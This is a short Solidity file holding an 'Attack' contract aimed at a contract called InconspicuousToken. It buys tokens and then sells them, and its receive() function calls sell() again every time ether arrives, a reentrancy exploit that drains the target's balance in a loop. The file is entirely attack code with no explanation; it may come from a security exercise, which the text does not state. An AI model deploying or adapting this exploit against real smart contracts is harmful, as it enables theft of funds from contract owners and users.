attack.sol

pragma solidity ^0.8.4;

contract Attack {
    function contractBalance () external view returns (uint256) {
        return address(this).balance;
    }
    
    function performAttack1 (address contractAddress) external payable {
        InconspicuousToken i = InconspicuousToken(contractAddress);
        i.buy{ value: msg.value }();
    }
    
    function performAttack2 (address contractAddress) external {
        InconspicuousToken i = InconspicuousToken(contractAddress);
        i.sell();
    }
    
    receive () external payable {
        InconspicuousToken(msg.sender).sell();
    }
}